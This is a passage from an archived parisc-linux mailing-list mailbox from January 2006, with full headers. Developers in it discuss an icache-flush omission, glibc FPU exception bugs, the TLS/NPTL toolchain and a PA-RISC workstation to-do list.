<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>ToDo:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>X/XDMCP:&nbsp; gdm runs, but desktop is really large
(unusable) on the HP p1120 monitor.&nbsp; Also mouse is not =
recognized&#8230;
it does work with the HP-UX boot / CDE.&nbsp; Once I got telnet working =
I didn&#8217;t
spend much time on this.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>xinetd (is this OK to use w/ Debian? i.e. with =
packages
update xinetd scripts or only inet?)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>mysql<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>php5 (am I asking for trouble =
here?)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0011_01C61AE7.B159FCB0--


--===============1631003007==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1631003007==--



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternative insn for parisc
Date: Tue, 17 Jan 2006 12:36:57 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20060117173657.GH4049@quicksilver.road.mcmartin.ca>
References: <20060115161419.GC21721@quicksilver.road.mcmartin.ca>
	<200601171029.22985.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623995 17966 80.91.229.3 (22 Nov 2014 02:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 17:38:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 17 Jan 2006 18:38:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E24DB7D72A;
	Tue, 17 Jan 2006 10:38:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11405-05; Tue, 17 Jan 2006 10:38:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4226C7D6F5;
	Tue, 17 Jan 2006 10:38:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87B447D664
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 10:38:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11361-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 10:38:17 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id E272C7D660
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 10:38:16 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id A50FA23E85;
	Tue, 17 Jan 2006 12:38:13 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01342-04; Tue, 17 Jan 2006 12:38:13 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (quicksilver.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6C11523E84;
	Tue, 17 Jan 2006 12:38:13 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 560723B05E; Tue, 17 Jan 2006 12:36:57 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200601171029.22985.bjorn.helgaas@hp.com>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xE6/Y21AeSEkeL6WZHQhaXN1IGRvb8DW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23386

On Tue, Jan 17, 2006 at 10:29:22AM -0700, Bjorn Helgaas wrote:
> Where's the cache flush of the modified region?  All the gory
> requirements are in the last few paragraphs of chapter 4 (page
> 4-10) of the PA 2.0 book.
>

Yeah, I forgot about that... The very next thing it does (before
it runs any effected code) was flush the entire data cache (but I missed
that it wasn't flushing icache).

I'll readd the sequence next rev.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Updated glibc 2.3.5-8.1
Date: Tue, 17 Jan 2006 15:23:25 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20060117202325.GP17559@baldric.uwo.ca>
References: <200601081903.k08J3Wvh024822@hiauly1.hia.nrc.ca>
	<200601081913.k08JD3sF024876@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623995 17972 80.91.229.3 (22 Nov 2014 02:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 20:23:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 17 Jan 2006 21:23:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4418B7D738;
	Tue, 17 Jan 2006 13:23:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13367-08; Tue, 17 Jan 2006 13:23:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 839437D731;
	Tue, 17 Jan 2006 13:23:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1ABD37D72D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:23:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13367-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:23:36 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 769597D72B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:23:36 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EyxMT-0001PV-00; Tue, 17 Jan 2006 15:23:25 -0500
Content-Disposition: inline
In-Reply-To: <200601081913.k08JD3sF024876@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Bze/Y881eSEkRb6WZHQhaXN1IGRvb0AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23387

On Sun, Jan 08, 2006 at 02:13:03PM -0500, John David Anglin wrote:
> > in fr22 until after the SIGFPE.  It sort of looks like the exception
> > must be in __ieee754_acos.
> 
> Take that back.  The function calls feholdexcept (envp=0xc04fba68)
> and then fesetround (round=0) before the arithmetic exception.
> 
> (gdb) p/x *envp
> $2 = {__status_word = 0x1, __exception = {0x40000360, 0x1, 0x40000360,
>     0x4033af90, 0x4084c6b8, 0x4084c6b8, 0x0}}

There could be problems here. I noted in the release email that the FPU
stuff is not working well with the new compiler. I need to debug this.
If you can find a testcase then it would rock e.g. feholdexcept
and fesetround that doesn't set the right bits.

I'm glad teh libstdc++ tests are passing.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Update] TLS toolchain.
Date: Tue, 17 Jan 2006 15:28:03 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20060117202803.GQ17559@baldric.uwo.ca>
References: <20060108055109.GE17559@baldric.uwo.ca>
	<43C36337.9040202@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623995 17974 80.91.229.3 (22 Nov 2014 02:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 20:28:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 17 Jan 2006 21:28:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D77997D744;
	Tue, 17 Jan 2006 13:28:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13642-05; Tue, 17 Jan 2006 13:28:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 149ED7D73F;
	Tue, 17 Jan 2006 13:28:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 194767D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:28:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13642-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:28:09 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7620E7D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:28:09 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EyxQy-0001Qk-00; Tue, 17 Jan 2006 15:28:04 -0500
Content-Disposition: inline
In-Reply-To: <43C36337.9040202@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NTa/Y5FReSEkO76WZHQhaXN1IGRvb8Bz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23388

On Tue, Jan 10, 2006 at 03:33:11PM +0800, Randolph Chung wrote:
> > The elf related failures are relatively new and related to binutils.
> > ---
> > 
> > I'm going to run the NPTL build and see how the tests turn out.
> > 
> > Anyone remember what the next step was?
> 
> I think the gcc stuff is all merged upstream already.
> 
> binutils stuff needs to be merged upstream. Perhaps we should look at
> those elf related failures first.

The constructor ordering issues? We have some failures now, but
are they regressions? Doesn't binutils head exhibit them?
 
> I don't think we are ready for NPTL yet. Did we settle on how we are
> implementing futexes? Are we going to implement a new kernel fsyscall
> for the compare-and-exchange primitive that NPTL seems to depend on?

The options in my mind are:

(1) VDSO implements atomic_compare_and_exchange.
(2) Continue to call LWS directly.

For testing we can continue to use (2).

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Updated glibc 2.3.5-8.1
Date: Tue, 17 Jan 2006 15:48:51 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200601172048.k0HKmpLC012311@hiauly1.hia.nrc.ca>
References: <20060117202325.GP17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623996 17977 80.91.229.3 (22 Nov 2014 02:39:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 20:57:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 17 Jan 2006 21:57:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55EB47D744;
	Tue, 17 Jan 2006 13:57:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13990-03; Tue, 17 Jan 2006 13:57:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DCB07D73C;
	Tue, 17 Jan 2006 13:57:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CA977D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:57:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13642-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:57:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 88B287D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 13:57:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k0HKmqil012313; Tue, 17 Jan 2006 15:48:52 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0HKmpLC012311;
	Tue, 17 Jan 2006 15:48:51 -0500 (EST)
In-Reply-To: <20060117202325.GP17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 17, 2006 03:23:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YT+/Y0cseSEkN76WZHQhaXN1IGRvb8Dq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23389

> On Sun, Jan 08, 2006 at 02:13:03PM -0500, John David Anglin wrote:
> > > in fr22 until after the SIGFPE.  It sort of looks like the exception
> > > must be in __ieee754_acos.
> > 
> > Take that back.  The function calls feholdexcept (envp=0xc04fba68)
> > and then fesetround (round=0) before the arithmetic exception.
> > 
> > (gdb) p/x *envp
> > $2 = {__status_word = 0x1, __exception = {0x40000360, 0x1, 0x40000360,
> >     0x4033af90, 0x4084c6b8, 0x4084c6b8, 0x0}}
> 
> There could be problems here. I noted in the release email that the FPU
> stuff is not working well with the new compiler. I need to debug this.
> If you can find a testcase then it would rock e.g. feholdexcept
> and fesetround that doesn't set the right bits.

Randolph has a patch which he sent around a few days ago.  The
problem appears to be a sequencing issue with respect to fr0.
He dropped saving and restoring fr1, fr2 and fr3.  Debian may be
going to roll an hppa libc update in the near future.  It would
be nice to also get your other fixes into this update as well.

As I understand it, the exception bug causes a segmentation fault
in uic.  This blocks building qt-xfree86-free which blocks kde.
Thus, the issue is quite urgent.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Updated glibc 2.3.5-8.1
Date: Tue, 17 Jan 2006 16:21:18 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20060117212118.GS17559@baldric.uwo.ca>
References: <20060117202325.GP17559@baldric.uwo.ca>
	<200601172048.k0HKmpLC012311@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623996 17980 80.91.229.3 (22 Nov 2014 02:39:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:56 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 21:21:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 17 Jan 2006 22:21:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C39F17D74A;
	Tue, 17 Jan 2006 14:21:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14172-05; Tue, 17 Jan 2006 14:21:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 737277D747;
	Tue, 17 Jan 2006 14:21:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93CC57D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 14:21:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14172-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 14:21:31 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EF52B7D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 14:21:30 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EyyGV-0001wX-00; Tue, 17 Jan 2006 16:21:19 -0500
Content-Disposition: inline
In-Reply-To: <200601172048.k0HKmpLC012311@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
